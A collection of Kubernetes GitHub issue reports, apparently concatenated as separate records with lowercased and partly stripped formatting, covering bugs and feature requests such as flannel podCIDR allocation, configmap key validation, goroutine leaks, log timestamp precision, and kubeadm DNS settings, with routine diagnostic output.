28 feb 2018 17:27:31 +0800   sat, 24 feb 2018 17:03:31 +0800   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready            true    wed, 28 feb 2018 17:27:31 +0800   sat, 24 feb 2018 17:03:41 +0800   kubeletready                 kubelet is posting ready status\r addresses:\r   internalip:  192.168.0.53\r   hostname:    192-168-0-53-kube02\r capacity:\r  cpu:     2\r  memory:  4046936ki\r  pods:    110\r allocatable:\r  cpu:     2\r  memory:  3944536ki\r  pods:    110\r system info:\r  machine id:                 8adb614084e14601aef16b0e94bc54ad\r  system uuid:                35270b42-911f-d801-7d01-5d7814895f54\r  boot id:                    9341d601-6947-44fd-bc54-17e6a9e8900f\r  kernel version:             3.10.0-693.el7.x86_64\r  os image:                   centos linux 7  core \r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://17.12.0-ce\r  kubelet version:            v1.8.7\r  kube-proxy version:         v1.8.7\r   podcidr:                     10.16.0.0/24  \r externalid:                  192-168-0-53-kube02\r non-terminated pods:          2 in total \r   namespace                  name                           cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                           ------------  ----------  ---------------  -------------\r   default                    dep-nginx-1-97759488f-d6wxt    0  0%         0  0%       0  0%            0  0% \r   default                    dep-nginx-1-97759488f-tzkwj    0  0%         0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits  memory requests  memory limits\r   ------------  ----------  ---------------  -------------\r   0  0%         0  0%       0  0%            0  0% \r events:         <none>\r  root@192-168-0-52-kube01 ~  \r \r   what you expected to happen  :\r the podcidr should be 10.16.25.0/24 i think.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  root@192-168-0-52-kube01 ~   ps -ef|grep flanneld\r root       828     1  0 feb24 ?        00:01:14 /usr/local/bin/flanneld -etcd-cafile=/etc/kubernetes/ssl/k8s-root-ca.pem -etcd-certfile=/etc/kubernetes/ssl/kubernetes.pem -etcd-keyfile=/etc/kubernetes/ssl/kubernetes-key.pem -etcd-endpoints=https://192.168.0.51:2379 -etcd-prefix=/coreos.com/network/ -iface=ens192\r \r  root@192-168-0-52-kube01 ~   cat /etc/cni/net.d/10-flannel.conflist \r {\r     \ name\ : \ cbr0\ ,\r     \ plugins\ :  \r     {\r         \ type\ : \ flannel\ ,\r         \ delegate\ : {\r         \ hairpinmode\ : true,\r         \ isdefaultgateway\ : true\r         }\r     }\r      \r }\r  root@192-168-0-52-kube01 ~  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  root@192-168-0-52-kube01 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:59:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@192-168-0-52-kube01 ~  \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i am trying to create a configmap from a file using the\r \ kubectl create configmap myconfigmap --from-file=game.properties\ \r \r the game.properties consists of the following key value pairs\r enemies.name=aliens\r lives.count=3\r enemies.cheat=true\r enemies.cheat=nogoodrotten\r secret.code=uuddlrlrbabas\r secret.code=true\r secret.code=30\r \r the command is failing with the error \r \r \ game.properties\  is not a valid key name for a configmap: a valid config key must consist of alphanumeric characters, '-', '_' or '.'  e.g. 'key.name',  or 'key_name',  or 'key-name', regex used for validation is ' -._a-za-z0-9 +' \r \r \r also, with the same file  game.properties , i tried creating the configmap using \r \ kubectl create configmap myconfigmap --from-file=game-properties-key=game.properties\  and the configmap is getting created successfully.\r \r i tried creating a secret using the example given in kubernetes documentation ie\r kubectl create secret generic db-user-pass --from-file=./username.txt --from-file=./password.txt\r i am getting the same error for secrets as well\r \r this command was working a few weeks ago. i haven't changed my kubectl version since then. \r kubectl version: 1.9.0\r i also tried the same command with 1.7, 1.6 and 1.4 version and am getting the same error.\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r  e2e: \r some pods containers use image:\ busybox\   eg. kubernetes\\test\\e2e\\common\\configmap.go , which causes the kubelet to pull the image even if it already exists locally. because images using the :latest tag will implicitly set the imagepullpolicy to always.\r if a k8s node cannot connect to internet, pods schedulered on it will failed. \r \r   what you expected to happen  :\r add explicit version to image \ busybox\ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r in some offline environment,we will load some images for furture use , so if the  disk usage exceeds the image-gc-high-threshold ,kubelet mya delete it, because of the offline, so the pod will never start\r \r we use kubernetes as a basci platform, so we do not have a image registry\r \r   what you expected to happen  :\r shall we add a function, that put the image in a whitelist ,so the image gc will ignore it ?\r we had finished the code and test it ,if we need it ,we can do a pull request.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r   \r   description  :\r \r if pod did not set  .spec.priorityclassname ,  priority  admission controller will set  .spec.priority  to \ default value\ . if the default value are from default  it's better to also set  .spec.priorityclassname  of pod.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r related to  14995, there remains a leak in  wait.polluntil    which does not ensure the channel it passes to  waitfor  is closed. this causes goroutines to leak under common scenarios, such as when calling  cache.waitforcachesync   .\r \r /cc @ncdc \r \r   what happened  :\r each call to  wait.polluntil  leaks an active goroutine  in this case spawned by  wait.poller    via  wait.waitfor   . the goroutine will not end until the  stopch  passed to  polluntil  is closed - however this requirement can and should be handled internally. often callers will pass a context with a longer lifespan.\r \r   what you expected to happen  :\r  wait.polluntil  should ensure that the polling goroutine is ended after its condition is met. this can be accomplished by creating a new channel with a child cancellation relationship to the original, and passing that on instead. this child channel can be closed once  waitfor  returns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the minimal reproduction would be to call  wait.polluntil  with a true condition, and not close the passed  stopch . however, a more complete reproduction involving a  shareinformer  can be seen  here  https://github.com/shomron/poll-leak/blob/master/main.go .\r \r   anything else we need to know?  :\r this leak was discovered in practice and caused a steady leak of memory and cpu in a project i work on.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:39:16z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.7-gke.11\ , gitcommit:\ fa90543563c9cfafca69128ce8cd9ecd5941940f\ , gittreestate:\ clean\ , builddate:\ 2018-11-08t20:22:21z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: google gke\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r \r <!-- do not edit below this line -->\r 

container logs with timestamp=true display a ragged left edge on 1.11.2 with cri-o:\r \r    \r 2018-12-22t00:34:33.084862626z pushed 5/6 layers, 83% complete\r 2018-12-22t00:35:03.196483456z pushed 5/6 layers, 87% complete\r 2018-12-22t00:35:33.203214994z pushed 5/6 layers, 89% complete\r 2018-12-22t00:36:03.271229927z pushed 5/6 layers, 92% complete\r 2018-12-22t00:36:33.34432357z pushed 5/6 layers, 96% complete\r 2018-12-22t00:37:03.444918533z pushed 5/6 layers, 98% complete\r 2018-12-22t00:37:36.90513849z pushed 6/6 layers, 100% complete\r 2018-12-22t00:37:41.364784926z push successful\r    \r \r it looks like when the nano section is written we're dropping the right most precision character  possibly because something is assuming it's a trailing zero, like a format .  another section shows two missing chars:\r \r    \r 2018-12-22t00:33:13.638865611z spawning worker 0 with 2 pkgs\r 2018-12-22t00:33:13.6388949z spawning worker 1 with 2 pkgs\r 2018-12-22t00:33:13.638899415z spawning worker 2 with 2 pkgs\r    \r \r which makes it seem likely that something is stripping trailing zeros off.  we should preserve them or otherwise people will go mad staring at the ragged logs.\r \r @runcom @mrunalp since i'm not sure if this is crio, cri, or kubelet\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r followed https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.13/ containerport-v1-core to configure container ports\r    \r         ports:\r         - containerport: 80\r           hostip: 10.20.20.1\r           hostport: 80\r           name: http\r           protocol: tcp\r    \r the settings  hostip: 10.20.20.1  is ignored, container answers on all host's ips\r services listening on port 80 on other ips get overridden by container.\r \r   what you expected to happen  :\r container answers only on  10.20.20.1 , services bound to other ips with the same port continue answering.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm running nginx-ingress-controller daemonset with ports configured as above. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.2\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.4.0-141-generic\r - install tools: kubeadm\r - others:\r

docker 1.8 introduces a new option --group-add to run command: https://docs.docker.com/reference/commandline/run/  we could use this to add another supplementary gid to the processes of a container, so that we can track the disk usage of a container easily through disk quota.   cc/ @vishh @bgrant0607

if a pod process dies and is restarted by kube  triggering the ready flag to be reset , there's no guarantee a load balancer watching endpoints sees the pod go back to not ready  kubelet updating status -> endpoints controller -> load balancer watcher  prior to the pod starting to listen on its port.  for any process that opens its tcp port before being ready, this means when a process dies and is restarted, load balancers will continue to hit the endpoint before its readiness check passes.    one solution is to have your load balancer include the readiness check - but that only works a  if your load balancer supports it, or b  if you chose http or tcp  load balancers can't use the exec check .  most load balancers do support ready checks, although not all support the same set of options.  one possible fix for the exec check is to expose on the kubelet an endpoint that can be a readiness proxy for the process -  https://kubelet:10250/v1/pods/<pod name or maybe pod ip>/readinesscheck  that uses the internal ready bool to return.  this would put slightly higher load on the kubelet, and mean the kubelet restarting would result in load balancers thinking the pod is down.

i'm trying to deploy a cluster on aws using  kube-up.sh  but with elasticsearch / kibana logging enabled.  following the instructions at http://kubernetes.io/docs/getting-started-guides/logging-elasticsearch/ i put the following lines:      export kube_logging_destination=elasticsearch export kube_enable_node_logging=true      in  kubernetes/cluster/aws/config-default.sh . however when i made the cluster using  kube-up.sh , i didn't see any notifications like   > +++ logging using fluentd to elasticsearch  and when i visit  https://50.xx.xx.xx/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging/_search , i see this output:      {\ took\ :1,\ timed_out\ :false,\ _shards\ :{\ total\ :0,\ successful\ :0,\ failed\ :0},\ hits\ :{\ total\ :0,\ max_score\ :0.0,\ hits\ :  }}      its returning 0 results even though i have run deployments which produced logs, and  kubectl logs <pod-name>  displays the logs.   likewise in kibana if i select time series and use  @timestamp , it doesn't find any matches.  i've tried running       export kube_logging_destination=elasticsearch export kube_enable_node_logging=true      directly from the terminal right before calling  kube-up.sh , but the results have been the same.  the weird thing is that  kubectl get pods --namespace=kube-system  does show pods running  fluentd-elasticsearch  for each of the nodes.  how do i get elasticsearch logging on aws?

currently there is a potential race/data sync issue when tests are modifying data that was already passed to the client/cache mocks.   cc: @gmarek @quinton-hoole @kubernetes/sig-cluster-federation

https://kubernetes.io/docs/admin/federation-controller-manager/ should indicate that coredns is a valid option for --dns-provider. \r \r https://github.com/kubernetes/kubernetes/issues/39271 issuecomment-271783981\r

i trying to reuse persistent volume on gce  kubernetes 1.6.4  for new deployment  via pvc :\r \r - created pvc  using heml releases , \r - pv was provisioned\r - manually changed pv reclaim policy to  retain  from  delete \r - delete helm release - it deletes pvc, but due to policy change pv stays  status  released  \r - deploy new release with  pvc.spec.volumename  set to existing pv name\r - deployment fail to work:\r \r    \r  unable to mount volumes for pod \ store-more-mongodb-2323256449-rhbt4_backyard c31b771c-6321-11e7-b339-42010af000cb \ : timeout expired waiting for volumes to attach/mount for pod \ backyard\ /\ store-more-mongodb-2323256449-rhbt4\ . list of unattached/unmounted volumes= data \r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ backyard\ /\ store-more-mongodb-2323256449-rhbt4\ . list of unattached/unmounted volumes= data  \r    \r \r i wonder is it possible to do on gce an how?

is this a bug report or feature request?  :\r  \r   what happened  :\r i created a daemonset on gke in the namespace kube-system via kubectl create or apply. after 40 seconds, the daemonset and all three of its pods are deleted with no visible reason as to why. the closest thing to an error message i could find was 'need to kill pod' in the delete event. \r \r re-creating the daemonset in a different namespace prevented it from being killed.\r \r   what you expected to happen  :\r it not to be deleted, or at least, some explanation of what hidden system was deleting my daemonset. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a minimal daemonset on a gke cluster in the kube-system namespace. wait 1 minute.  kubectl get ds -n kube-system \r \r   anything else we need to know?  :\r i only tried to put it in a different namespace because  this old stack overflow answer  https://stackoverflow.com/questions/41825484/gke-stackdriver  said that putting something in the kube-system namespace \ might conflict with addon-manager\ , so that's my only hint as to what's going wrong. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t17:03:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : gke

  / \r when hpa is supposed to upscale it is intermittently unable to calculate the number of desired replicas because of missing metrics\r  $ kubectl describe hpa <hpa-name> \r    3d            29s             80      horizontal-pod-autoscaler                       warning         failedgetresourcemetric         unable to get metrics for resource cpu: no metrics returned from heapster \r    3d            29s             80      horizontal-pod-autoscaler                       warning         failedcomputemetricsreplicas    failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from heapster \r \r the kubelet was returning an invalid start time for pods, containers, and the node:\r  \ podref\ : { \r   \ uid\ : \ 7efbdb50-0830-11e8-9e01-42010af0001e\  \r  }, \r  \ starttime\ : \ 2018-02-07t09:53:05z\ , \r  \ containers\ :   \r  { \r   \ starttime\ : \ 2018-02-07t09:53:05z\ , \r   \ cpu\ : { \r    \ time\ : \ 2018-02-07t09:53:03z\ , \r   }, \r   \ memory\ : { \r    \ time\ : \ 2018-02-07t09:53:03z\ , \r   }, \r   \ rootfs\ : { \r   \ time\ : \ 2018-02-07t09:53:03z\ , \r   }, \r   \ logs\ : { \r    \ time\ : \ 2018-02-07t09:53:03z\ , \r   }, \r  }, \r \r here is the heapster code that computes cpu usage rate  this is the metric for hpa : https://github.com/kubernetes/heapster/blob/release-1.4/metrics/processors/rate_calculator.go, which requires that the current and previous batch have the same start time.  a start time which changes often results in very few cpu metrics for heapster.\r \r when cadvisor calculates the start time, it looks at the last time  cgroup.clone_children  was modified. https://github.com/google/cadvisor/blob/master/container/common/helpers.go l56\r this is an estimate, at best.  we recently changed cadvisor to use docker's container creation time: https://github.com/google/cadvisor/pull/1806.\r but we still need to get a real pod, node and system container start time.

 \r   what happened  :\r in nodes where there are only 2 cpu i can see requested values higher than 2.\r it seems to be because of successful jobs that are kept  jobs managed by a cronjob .\r this is making autoscaler scale more and more nodes, as those where job have been scheduled remain \ full\ .\r \r this is happening in gke, but its likely to happen in any k8s cluster:\r \r ! image  https://user-images.githubusercontent.com/1449482/41584976-ff537a40-73a8-11e8-9652-b5fbf1a62416.png \r \r ! image  https://user-images.githubusercontent.com/1449482/41584982-03621b28-73a9-11e8-868a-5f6d98207474.png \r \r you can see that the sum of all pod cpu requested matches the node cpu request.\r \r   what you expected to happen  :\r when a job is successful it shouldn't count agains the requested cpu count.\r \r   how to reproduce it  as minimally and precisely as possible   :\r ejecute a cronjob and wait until it finishes. wait for more executions.\r \r \r   anything else we need to know?  :\r as a workaround, it is possible to set the cronjob  .spec.successfuljobshistorylimit  to 0, so successful jobs are not kept.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.7\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : v1.9.6-gke.1  cos \r - kernel  e.g.  uname -a  : v1.9.6-gke.1  cos \r

when i do a rolling update with a service i previously exposed, the selector of that service apparently doesn't get updated to the new replication controller, effectively making my website unavailable.

fix the story in https://github.com/kubernetes/kubernetes/blob/master/build/common.sh l1119 around ensuring release artifacts are copied in an atomic and sane way.  see also  26443  cc @ixdy

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r currently, the deleterealserver   of fakeipvs is an empty implementation. however, ipvs/proxier needs it, see https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l1374\r \r it will case an error if we want to add some relevant test cases in ipvs/proxier_test.go.\r \r   what you expected to happen  :\r \r we should implment deleterealserver   for fakeipvs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r  /area kube-proxy

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >    \r   what happened  :\r when you install kubeadm, it comes with a kubeadm config file  e.g. /etc/systemd/system/kubelet.service.d/10-kubeadm.conf on centos/rhel  that has a default cluster-dns setting of 10.96.0.10.\r \r if you then run kubeadm init with a --service-cidr  or networking:servicesubnet setting in a kubeadm config file  that is different than the default service subnet of 10.96.0.0, then 'kubeadm init ...' does not detect and warn the user  e.g. during preflight  that there is an inconsistency between the configured service cidr and the kubelet's --cluster-dns setting in /etc/.... when containers are then created by kubelet, kubelet will populate the pods' /etc/resolv.conf with a nameserver address  using the --cluster-dns setting  that does not match the kube-dns service ip that is based on the configured service cidr.\r \r   what you expected to happen  :\r it would be good of one of these things happened in the situation described:\r  1  'kubeadm init ...' preflight warns the user to consider changing the --cluster-dns config, or...\r  2  'kubeadm init ...' preflight errors out\r  3  'kubeadm init ...' goes ahead and modifies the --cluster-dns config  too dangerous? \r \r   how to reproduce it  as minimally and precisely as possible   :\r - run 'kubeadm init ...' with a --service-cidr on the command line  or servicesubnet in a kubeadm config file  that doesn't match the --cluster-dns setting in 10-kubeadm.conf, and then create some pods\r - create some pods\r - exec into the pod, and examine the nameserver populated in /etc/resolv.conf. it will be different than the kube-dns service ip.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04 host, centos 7 guest nodes\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

i installed k8s 1.9 on 2 nodes: master - 10.135.80.73; minion - 10.135.80.74. k8s service and deployment are created with yaml files. the service yaml is as follow:\r \r    \r kind: service\r apiversion: v1\r metadata:\r   name: test-standalone-service\r spec:\r   selector:\r     app: test-standalone\r   ports:\r   - nodeport: 32024\r     port: 8080\r   type: nodeport\r   externalips:\r   - 10.135.80.73\r    \r \r \r the deployment yaml file is as follow:\r \r    \r kind: deployment\r metadata:\r   name: test-standalone-deployment\r spec:\r   selector:\r     matchlabels:\r       app: test-standalone\r   replicas: 2   tells deployment to run 2 pods matching the template\r   template:   create pods using pod definition in this template\r     metadata:\r         unlike pod-nginx.yaml, the name is not included in the meta data as a unique name is\r         generated from the deployment name\r       labels:\r         app: test-standalone\r     spec:\r       containers:\r       - name: deploymenttest\r         image: deploymenttest:1.0\r         ports:\r         - containerport: 8080\r    \r \r   what happened  :\r \r on the master or minion, if  i run \r  curl <minionip>:32024 \r   the response is returned  .\r \r if i run\r  curl <masterip>:32024 \r   fail to connect  .\r \r i try to check the kube-proxy.log, but   no k8s log file is found under /var/log  . even use journalctl -u kube-proxy, the result is 'no entries' for it.\r \r   what you expected to happen  :\r according to my understand, the service should be worked even on master.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r the iptables-save output of   master   is as follow:\r   generated by iptables-save v1.4.21 on mon jan 22 15:38:58 2018\r  nat\r :prerouting accept  20:800 \r :input accept  0:0 \r :output accept  3:180 \r :postrouting accept  3:180 \r :docker -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-7grjzjxhqvkqxkq2 -  0:0 \r :kube-sep-it2ztr26to4xfpto -  0:0 \r :kube-sep-ruhpxwumoquae2sk -  0:0 \r :kube-sep-vrpahzfi5tai5fzm -  0:0 \r :kube-sep-wyycis43agv5tk7g -  0:0 \r :kube-sep-xkgjvnxiclsdkr6y -  0:0 \r :kube-sep-yil6jzp7a3qyxju2 -  0:0 \r :kube-services -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :kube-svc-xgloha7qrq3v22rz -  0:0 \r :kube-svc-xwii3nvyretldsip -  0:0 \r :output_direct -  0:0 \r :postrouting_zones -  0:0 \r :postrouting_zones_source -  0:0 \r :postrouting_direct -  0:0 \r :post_public -  0:0 \r :post_public_allow -  0:0 \r :post_public_deny -  0:0 \r :post_public_log -  0:0 \r :prerouting_zones -  0:0 \r :prerouting_zones_source -  0:0 \r :prerouting_direct -  0:0 \r :pre_public -  0:0 \r :pre_public_allow -  0:0 \r :pre_public_deny -  0:0 \r :pre_public_log -  0:0 \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -j prerouting_direct\r -a prerouting -j prerouting_zones_source\r -a prerouting -j prerouting_zones\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j output_direct\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 172.17.0.0/16 ! -o docker0 -j masquerade\r -a postrouting -j postrouting_direct\r -a postrouting -j postrouting_zones_source\r -a postrouting -j postrouting_zones\r -a postrouting -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r -a postrouting -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.0.0/24 -j return\r -a postrouting ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r -a docker -i docker0 -j return\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-nodeports -p tcp -m comment --comment \ default/test-standalone-service:\  -m tcp --dport 32024 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/test-standalone-service:\  -m tcp --dport 32024 -j kube-svc-xwii3nvyretldsip\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-7grjzjxhqvkqxkq2 -s 10.244.1.28/32 -m comment --comment \ default/test-standalone-service:\  -j kube-mark-masq\r -a kube-sep-7grjzjxhqvkqxkq2 -p tcp -m comment --comment \ default/test-standalone-service:\  -m tcp -j dnat --to-destination 10.244.1.28:8080\r -a kube-sep-it2ztr26to4xfpto -s 10.244.0.2/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-it2ztr26to4xfpto -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.244.0.2:53\r -a kube-sep-ruhpxwumoquae2sk -s 10.135.80.73/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-ruhpxwumoquae2sk -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-ruhpxwumoquae2sk --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.135.80.73:6443\r -a kube-sep-vrpahzfi5tai5fzm -s 10.244.2.5/32 -m comment --comment \ default/test-standalone-service:\  -j kube-mark-masq\r -a kube-sep-vrpahzfi5tai5fzm -p tcp -m comment --comment \ default/test-standalone-service:\  -m tcp -j dnat --to-destination 10.244.2.5:8080\r -a kube-sep-wyycis43agv5tk7g -s 10.244.1.24/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-wyycis43agv5tk7g -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.244.1.24:53\r -a kube-sep-xkgjvnxiclsdkr6y -s 10.244.1.24/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-xkgjvnxiclsdkr6y -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.244.1.24:53\r -a kube-sep-yil6jzp7a3qyxju2 -s 10.244.0.2/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-yil6jzp7a3qyxju2 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.244.0.2:53\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services ! -s 10.244.0.0/16 -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services ! -s 10.244.0.0/16 -d 10.107.40.41/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.107.40.41/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 443 -j kube-svc-xgloha7qrq3v22rz\r -a kube-services ! -s 10.244.0.0/16 -d 10.101.181.151/32 -p tcp -m comment --comment \ default/test-standalone-service: cluster ip\  -m tcp --dport 8080 -j kube-mark-masq\r -a kube-services -d 10.101.181.151/32 -p tcp -m comment --comment \ default/test-standalone-service: cluster ip\  -m tcp --dport 8080 -j kube-svc-xwii3nvyretldsip\r -a kube-services -d 10.135.80.73/32 -p tcp -m comment --comment \ default/test-standalone-service: external ip\  -m tcp --dport 8080 -j kube-mark-masq\r -a kube-services -d 10.135.80.73/32 -p tcp -m comment --comment \ default/test-standalone-service: external ip\  -m tcp --dport 8080 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-xwii3nvyretldsip\r -a kube-services -d 10.135.80.73/32 -p tcp -m comment --comment \ default/test-standalone-service: external ip\  -m tcp --dport 8080 -m addrtype --dst-type local -j kube-svc-xwii3nvyretldsip\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-erifxisqep7f7of4 